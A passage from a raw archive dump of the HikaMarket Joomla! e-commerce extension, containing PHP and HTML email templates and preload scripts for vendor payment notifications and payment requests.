$mailClass = hikamarket::get('class.mail');
$mail = $mailClass->load('vendor_admin_registration',
$params);
$mail->hikamarket = true;
if(empty($mail->subject))
$mail->subject =
'MARKET_VENDOR_ADMIN_REGISTRATION_SUBJECT';
return $mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$marketNameboxType = hikamarket::get('type.namebox');
$html_user = $nameboxType->display(
'data[user]',
(int)$data['user'],
hikashopNameboxType::NAMEBOX_SINGLE,
'user',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(!$html_user) {
hikashop_display(JText::_('PLEASE_FIRST_CREATE_A_PRODUCT'),
'info');
return;
}
$html_vendor = $marketNameboxType->display(
'data[vendor]',
(int)$data['vendor'],
hikashopNameboxType::NAMEBOX_SINGLE,
'vendor',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(empty($html_user)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_A_USER_FOR_THE_PREVIEW'));
}
if(empty($html_vendor)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_A_VENDOR_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt><?php echo JText::_('HIKA_USER'); ?></dt>
<dd><?php echo $html_user; ?></dd>
</dl>
<dl class="hika_options">
<dt><?php echo JText::_('HIKAMARKET_VENDOR');
?></dt>
<dd><?php echo $html_vendor; ?></dd>
</dl>
<script type="text/javascript">
window.Oby.ready(function() {
var w = window;
if(!w.oNameboxes['data_user'])
return;
w.oNameboxes['data_user'].register('set', function(e)
{
hikashop.submitform('preview','adminForm');
});
w.oNameboxes['data_vendor'].register('set',
function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PKT��[c�)SMM$vendor_payment_notification.html.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikamarket_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikamarket_mail {width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikamarket_mail {width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div id="hikamarket_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:URL}">
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:MAIL_HEADER}
</span>
</a>
</div>
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikamarket/images/mail/header.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}media/com_hikashop/images/icons/icon-48-order.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:MAIL_TITLE}
</h1>
<h2 style="color:#1c8faf
!important;font-size:12px;font-weight:bold; padding-bottom:10px">
{TXT:YOU_HAVE_BEEN_PAID}
</h2>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_VENDOR}</h3>
{TXT:SALE_BEGIN_MESSAGE}
</p>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:SALE_CUSTOMER}
</h1>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:BILLING_ADDRESS}</td>
</tr>
<tr>
<td>{VAR:BILLING_ADDRESS}</td>
</tr>
</table>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:SUMMARY_OF_YOUR_SALE}
</h1>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;margin-bottom:10px;font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:left;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_NAME}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_QUANTITY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_TOTAL}</td>
</tr>
<!--{START:PRODUCT_LINE}-->
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;">
{LINEVAR:PRODUCT_IMG}
{LINEVAR:PRODUCT_NAME}<!--{IF:ORDER_PRODUCT_CODE}-->
{LINEVAR:PRODUCT_CODE}<!--{ENDIF:ORDER_PRODUCT_CODE}-->
</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_QUANTIY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_TOTAL}</td>
</tr>
<!--{END:PRODUCT_LINE}-->
<!--{START:ORDER_FOOTER}-->
<tr>
<td colspan="3" style="text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{LINEVAR:NAME}</td>
<td style="text-align:right">{LINEVAR:VALUE}</td>
</tr>
<!--{END:ORDER_FOOTER}-->
</table>
<!--{IF:PAYMENT}-->
<p>
<span style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PAYMENT_METHOD}
:</span> {VAR:PAYMENT}
</p>
<!--{ENDIF:PAYMENT}-->
<!--{IF:SHIPPING}-->
<p>
<span style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:HIKASHOP_SHIPPING_METHOD}
:</span> {VAR:SHIPPING}
</p>
<!--{ENDIF:SHIPPING}-->
<!--{IF:ORDER_SUMMARY}-->
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:ADDITIONAL_INFORMATION}
</h1>
<p style="border-bottom:1px solid
#ddd;padding-bottom:10px;">
{VAR:ORDER_SUMMARY}
</p>
<!--{ENDIF:ORDER_SUMMARY}-->
<p>
{TXT:SALE_END_MESSAGE}
</p>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikamarket/images/mail/footer.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PKT��[J��Q5Q5'vendor_payment_notification.preload.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$app = JFactory::getApplication();
$config = hikamarket::config();
$shopConfig = hikamarket::config(false);
$orderClass = hikamarket::get('shop.class.order');
$imageHelper = hikamarket::get('shop.helper.image');
$productClass = hikamarket::get('shop.class.product');
$fieldsClass = hikamarket::get('shop.class.field');
global $Itemid;
$url_itemid = '';
if(!empty($Itemid))
$url_itemid = '&Itemid=' . $Itemid;
$customer = $data->order->customer;
if($app->isAdmin()) {
$view = 'shop.order';
$order_url =
HIKASHOP_LIVE.'index.php?option=com_hikamarket&ctrl=order&task=show&cid='
. (int)$data->order_id;
} else {
$view = 'shop.address';
$order_url =
hikamarket::completeLink('order&task=show&cid=' .
(int)$data->order_id);
}
$order_number = isset($data->order->order_number) ?
$data->order->order_number :
@$data->order->old->order_number;
$url = '<a href="' . $order_url . '">'
. $order_number . '</a>';
$data->order->order_url = $order_url;
$data->cart = $orderClass->loadFullOrder($data->order_id, true,
false);
$data->cart->coupon = new stdClass();
$itemFields = null;
$price = new stdClass();
$tax = $data->cart->order_subtotal -
$data->cart->order_subtotal_no_vat +
$data->order->order_discount_tax +
$data->order->order_shipping_tax +
$data->order->order_payment_tax;
$price->price_value = $data->order->order_full_price - $tax;
$price->price_value_with_tax = $data->order->order_full_price;
$data->cart->full_total = new stdClass;
$data->cart->full_total->prices = array($price);
$data->cart->coupon->discount_value =&
$data->order->order_discount_price;
$vendor_name = $data->vendor->vendor_name;
$customer_name = @$data->customer->name;
if(empty($customer_name))
$customer_name =
@$data->cart->billing_address->address_firstname;
$vendor_access = hikamarket::getAclVendor($data->vendor);
$acl = array(
'notify' => hikamarket::aclTest('order/notify',
$vendor_access),
'billingaddress' =>
hikamarket::aclTest('order/show/billingaddress',
$vendor_access),
'shippingaddress' =>
hikamarket::aclTest('order/show/shippingaddress',
$vendor_access),
'customfields' =>
hikamarket::aclTest('order/show/customfields', $vendor_access),
);
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'URL' => $order_url,
'ORDER_PRODUCT_CODE' =>
(bool)$shopConfig->get('show_product_code', false),
'order' => $data->cart,
'billing_addr' => @$data->cart->billing_address,
'vendor' => $data->vendor,
'customer' => @$data->customer,
'PAYMENT' => '',
'BILLING_ADDRESS' => '',
'ORDER_SUMMARY' => '',
);
$texts = array(
'BILLING_ADDRESS' =>
JText::_('HIKASHOP_BILLING_ADDRESS'),
'SHIPPING_ADDRESS' =>
JText::_('HIKASHOP_SHIPPING_ADDRESS'),
'SUMMARY_OF_YOUR_SALE' =>
JText::_('SUMMARY_OF_YOUR_SALE'),
'MAIL_HEADER' => JText::_('HIKASHOP_MAIL_HEADER'),
'PRODUCT_NAME' => JText::_('CART_PRODUCT_NAME'),
'PRODUCT_CODE' => JText::_('CART_PRODUCT_CODE'),
'PRODUCT_PRICE' =>
JText::_('CART_PRODUCT_UNIT_PRICE'),
'PRODUCT_QUANTITY' =>
JText::_('CART_PRODUCT_QUANTITY'),
'PRODUCT_TOTAL' => JText::_('HIKASHOP_TOTAL'),
'ADDITIONAL_INFORMATION' =>
JText::_('ADDITIONAL_INFORMATION'),
'MAIL_TITLE' => JText::_('YOUR_PAYMENT'),
'HI_VENDOR' => JText::sprintf('HI_VENDOR',
$vendor_name),
'YOU_HAVE_BEEN_PAID' =>
JText::_('YOU_HAVE_BEEN_PAID'),
'ORDER_CHANGED' =>
JText::sprintf('ORDER_STATUS_CHANGED_TO', $url,
$data->mail_status),
'SALE_BEGIN_MESSAGE' =>
JText::sprintf('MAIL_SALE_BEGIN_MESSAGE', $order_number,
$customer_name, HIKASHOP_LIVE),
'SALE_END_MESSAGE' =>
JText::sprintf('MAIL_SALE_END_MESSAGE', HIKASHOP_LIVE) .
'<br/>' . JText::sprintf('BEST_REGARDS_VENDOR',
$vendor_name),
);
if(!empty($data->usermsg->usermsg))
$texts['ORDER_CHANGED'] = $data->usermsg->usermsg;
$templates = array();
$products_ids = array();
foreach($data->cart->products as $item) {
$products_ids[] = $item->product_id;
}
$productClass->getProducts($products_ids);
$cartProducts = array();
$cartFooters = array();
{
$group = $shopConfig->get('group_options',0);
$subtotal = 0;
foreach($data->cart->products as $item) {
if($group && $item->order_product_option_parent_id)
continue;
$product = @$productClass->products[$item->product_id];
$cartProduct = array(
'PRODUCT_CODE' => $item->order_product_code,
'PRODUCT_QUANTIY' => $item->order_product_quantity,
'PRODUCT_IMG' => '',
'item' => $item,
'product' => $product,
);
if(!empty($item->images[0]->file_path)) {
$img = $imageHelper->getThumbnail($item->images[0]->file_path,
array(50, 50), array('forcesize' => true, 'scale'
=> 'outside'));
if($img->success) {
$image = str_replace('../', HIKASHOP_LIVE, $img->url);
$cartProduct['PRODUCT_IMG'] = '<img
src="'.$image.'" alt=""
style="float:left;margin-top:3px;margin-bottom:3px;margin-right:6px;max-height:50px;max-width:50px;"/>';
}
}
$t = '<p>' . $item->order_product_name;
if($group) {
$display_item_price = false;
foreach($data->cart->products as $j => $optionElement) {
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
if($optionElement->order_product_price > 0)
$display_item_price = true;
}
if($display_item_price) {
if($shopConfig->get('price_with_tax'))
$t .= '
'.$currencyHelper->format($item->order_product_price +
$item->order_product_tax, $data->order->order_currency_id);
else
$t .= '
'.$currencyHelper->format($item->order_product_price,
$data->order->order_currency_id);
}
}
$t .= '</p>';
if(!empty($itemFields)) {
foreach($itemFields as $field) {
$namekey = $field->field_namekey;
if(!isset($item->$namekey) || !strlen($item->$namekey))
continue;
$t .= '<p>' . $fieldsClass->getFieldName($field) .
': ' . $fieldsClass->show($field, $item->$namekey,
'user_email') . '</p>';
}
}
if($group) {
foreach($data->cart->products as $j => $optionElement) {
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
$item->order_product_price
+=$optionElement->order_product_price;
$item->order_product_tax +=$optionElement->order_product_tax;
$item->order_product_total_price+=$optionElement->order_product_total_price;
$item->order_product_total_price_no_vat+=$optionElement->order_product_total_price_no_vat;
$t .= '<p
class="hikashop_order_option_name">' .
$optionElement->order_product_name;
if($optionElement->order_product_price > 0) {
if($shopConfig->get('price_with_tax'))
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price +
$optionElement->order_product_tax,$data->order->order_currency_id).'
)';
else
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price,$data->order->order_currency_id).'
)';
}
$t .= '</p>';
}
}
$cartProduct['PRODUCT_NAME'] = $t;
$cartProduct['PRODUCT_DOWNLOAD'] = '';
if($shopConfig->get('price_with_tax')) {
$unit_price =
$currencyHelper->format($item->order_product_price+$item->order_product_tax,
$data->order->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price,
$data->order->order_currency_id);
$subtotal += $item->order_product_total_price;
} else {
$unit_price = $currencyHelper->format($item->order_product_price,
$data->order->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price_no_vat,
$data->order->order_currency_id);
$subtotal += $item->order_product_total_price_no_vat;
}
$cartProduct['PRODUCT_PRICE'] = $unit_price;
$cartProduct['PRODUCT_TOTAL'] = $total_price;
$cartProducts[] = $cartProduct;
}
$templates['PRODUCT_LINE'] = $cartProducts;
if(bccomp($data->order->order_discount_price,0,5) ||
bccomp($data->order->order_shipping_price,0,5) ||
bccomp($data->order->order_payment_price,0,5) ||
($data->cart->full_total->prices[0]->price_value!=$data->cart->full_total->prices[0]->price_value_with_tax)
|| !empty($data->cart->additional)) {
$cartFooters[] = array(
'NAME' => JText::_('SUBTOTAL'),
'VALUE' =>
$currencyHelper->format($subtotal,$data->order->order_currency_id)
);
}
if(bccomp($data->order->order_discount_price,0,5)) {
if($shopConfig->get('price_with_tax'))
$t = $currencyHelper->format($data->order->order_discount_price
* -1, $data->order->order_currency_id);
else
$t =
$currencyHelper->format(($data->order->order_discount_price -
@$data->order->order_discount_tax) * -1,
$data->order->order_currency_id);
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_COUPON'),
'VALUE' => $t
);
}
if(bccomp($data->order->order_shipping_price,0,5)) {
if($shopConfig->get('price_with_tax'))
$t =
$currencyHelper->format($data->order->order_shipping_price,
$data->order->order_currency_id);
else
$t = $currencyHelper->format($data->order->order_shipping_price
- @$data->order->order_shipping_tax,
$data->order->order_currency_id);
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_SHIPPING'),
'VALUE' => $t
);
}
if(bccomp($data->order->order_payment_price,0,5)) {
if($shopConfig->get('price_with_tax'))
$t = $currencyHelper->format($data->cart->order_payment_price,
$data->cart->order_currency_id);
else
$t = $currencyHelper->format($data->cart->order_payment_price -
@$data->cart->order_payment_tax,
$data->cart->order_currency_id);
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_PAYMENT'),
'VALUE' => $t
);
}
if(!empty($data->cart->additional)) {
$exclude_additionnal = explode(',',
$shopConfig->get('order_additional_hide', ''));
foreach($data->cart->additional as $additional) {
if(in_array($additional->order_product_name, $exclude_additionnal))
continue;
if(!empty($additional->order_product_price) ||
empty($additionaltionnal->order_product_options)) {
if($shopConfig->get('price_with_tax'))
$t = $currencyHelper->format($additional->order_product_price +
@$additional->order_product_tax,
$data->order->order_currency_id);
else
$t = $currencyHelper->format($additional->order_product_price,
$data->order->order_currency_id);
} else {
$t = $additional->order_product_options;
}
$cartFooters[] = array(
'NAME' => JText::_($additional->order_product_name),
'VALUE' => $t
);
}
}
if($data->cart->full_total->prices[0]->price_value !=
$data->cart->full_total->prices[0]->price_value_with_tax) {
if($shopConfig->get('detailed_tax_display') &&
!empty($data->cart->order_tax_info)) {
foreach($data->cart->order_tax_info as $tax) {
$cartFooters[] = array(
'NAME' => $tax->tax_namekey,
'VALUE' =>
$currencyHelper->format($tax->tax_amount,
$data->order->order_currency_id)
);
}
} else {
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITHOUT_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value,
$data->order->order_currency_id)
);
}
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITH_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,
$data->order->order_currency_id)
);
} else {
$cartFooters[] = array(
'NAME' =>
JText::_('HIKAM_CUSTOMER_FINAL_TOTAL'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,
$data->order->order_currency_id)
);
}
$vendor_price =
(float)hikamarket::toFloat($data->cart->order_vendor_price);
if($vendor_price < 0)
$vendor_price +=
$data->cart->full_total->prices[0]->price_value_with_tax;
if($vendor_price != 0) {
$cartFooters[] = array(
'NAME' => JText::_('HIKAM_VENDOR_FINAL_TOTAL'),
'VALUE' => $currencyHelper->format($vendor_price,
$data->order->order_currency_id)
);
}
$templates['ORDER_FOOTER'] = $cartFooters;
}
if(!empty($data->cart->order_payment_method)) {
if(!is_numeric($data->cart->order_payment_id)) {
$vars['PAYMENT'] =
$data->cart->order_payment_method.'
'.$data->cart->order_payment_id;
} else {
$paymentClass = hikamarket::get('shop.class.payment');
$payment = $paymentClass->get($data->cart->order_payment_id);
if(!empty($payment))
$vars['PAYMENT'] = $payment->payment_name;
unset($paymentClass);
}
}
ob_start();
JPluginHelper::importPlugin('hikashop');
JFactory::getApplication()->triggerEvent('onAfterOrderProductsListingDisplay',
array(&$data->cart,
'email_vendor_payment_notification_html'));
$content = ob_get_clean();
$vars['ORDER_SUMMARY'] = $content;
$vars['BILLING_ADDRESS'] = '';
$params = null;
$js = '';
$template = trim(hikamarket::getLayout($view, 'address_template',
$params, $js));
if(!empty($data->cart->billing_address) &&
!empty($data->cart->fields)) {
$billing = $template;
foreach($data->cart->fields as $field) {
$fieldname = $field->field_namekey;
if(!empty($data->cart->billing_address->$fieldname))
$billing = str_replace('{' . $fieldname . '}',
$fieldsClass->show($field,
$data->cart->billing_address->$fieldname, 'user_email'),
$billing);
}
$vars['BILLING_ADDRESS'] =
str_replace(array("\r\n","\r","\n"),'<br/>',preg_replace('#{(?:(?!}).)*}#i','',$billing));
}
PKT��[�a�vvvendor_payment_request.html.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikamarket_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikamarket_mail{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikamarket_mail{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div id="hikamarket_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:URL}">
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:HIKASHOP_MAIL_HEADER}
</span>
</a>
</div>
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikashop/images/mail/header_black.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-payment.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:MAIL_TITLE}
</h1>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_ADMIN}</h3>
{TXT:VENDOR_PAYMENT_REQUEST_BEGIN_MESSAGE}
</p>
<p>
<strong>{TXT:HIKA_VENDOR}</strong>: <a
href="{VAR:VENDOR_URL}">{VAR:vendor.vendor_name}</a>
</p>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;margin-bottom:10px;font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:left;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:ORDER_STATUS}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:HIKAM_STATS_TOTAL_ORDERS}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:HIKASHOP_TOTAL}</td>
</tr>
<!--{START:REQUEST_LINE}-->
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;">{LINEVAR:NAME}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:COUNT}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:TOTAL}</td>
</tr>
<!--{END:REQUEST_LINE}-->
<!--{START:REQUEST_FOOTER}-->
<tr>
<td colspan="2" style="text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{LINEVAR:COUNT}</td>
<td style="text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{LINEVAR:TOTAL}</td>
</tr>
<!--{END:REQUEST_FOOTER}-->
</table>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikashop/images/mail/footer_black.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PKT��[����"vendor_payment_request.preload.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'VENDOR_URL'=>
HIKASHOP_LIVE.'administrator/index.php?option=com_hikamarket&ctrl=vendor&task=edit&cid='.$data->vendor->vendor_id,
'vendor' => $data->vendor,
'user' => $data->user
);
$texts = array(
'MAIL_TITLE' =>
JText::_('VENDOR_PAYMENT_REQUEST_EMAIL_SUBJECT'),
'MAIL_HEADER' =>
JText::_('HIKAMARKET_MAIL_HEADER'),
);
$currencyClass = hikamarket::get('shop.class.currency');
$vendorClass = hikamarket::get('class.vendor');
$stats = $vendorClass->getUnpaidOrders($data->vendor);
$total = new stdClass();
$total->count = 0;
$total->value = 0;
$total->currency = (int)$data->vendor->vendor_currency_id;
if(empty($total->currency))
$total->currency = hikashop_getCurrency();
$templates['REQUEST_LINE'] = array();
foreach($stats as $d) {
$total->count += (int)$d->count;
if($data->vendor->vendor_currency_id == $d->currency)
$total->value += hikamarket::toFloat( (int)$d->value );
else
$total->value +=
$currencyClass->convertUniquePrice((float)hikamarket::toFloat($d->value),
(int)$d->currency, (int)$data->vendor->vendor_currency_id);
$templates['REQUEST_LINE'][] = array(
'NAME' => hikamarket::orderStatus($d->status),
'COUNT' => (int)$d->count,
'TOTAL' => $currencyClass->format($d->value,
$d->currency)
);
}
$templates['REQUEST_FOOTER'] = array(
array(
'COUNT' => $total->count,
'TOTAL' => $currencyClass->format($total->value,
$total->currency)
)
);
PKT��[|��,,"vendor_payment_request.preview.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
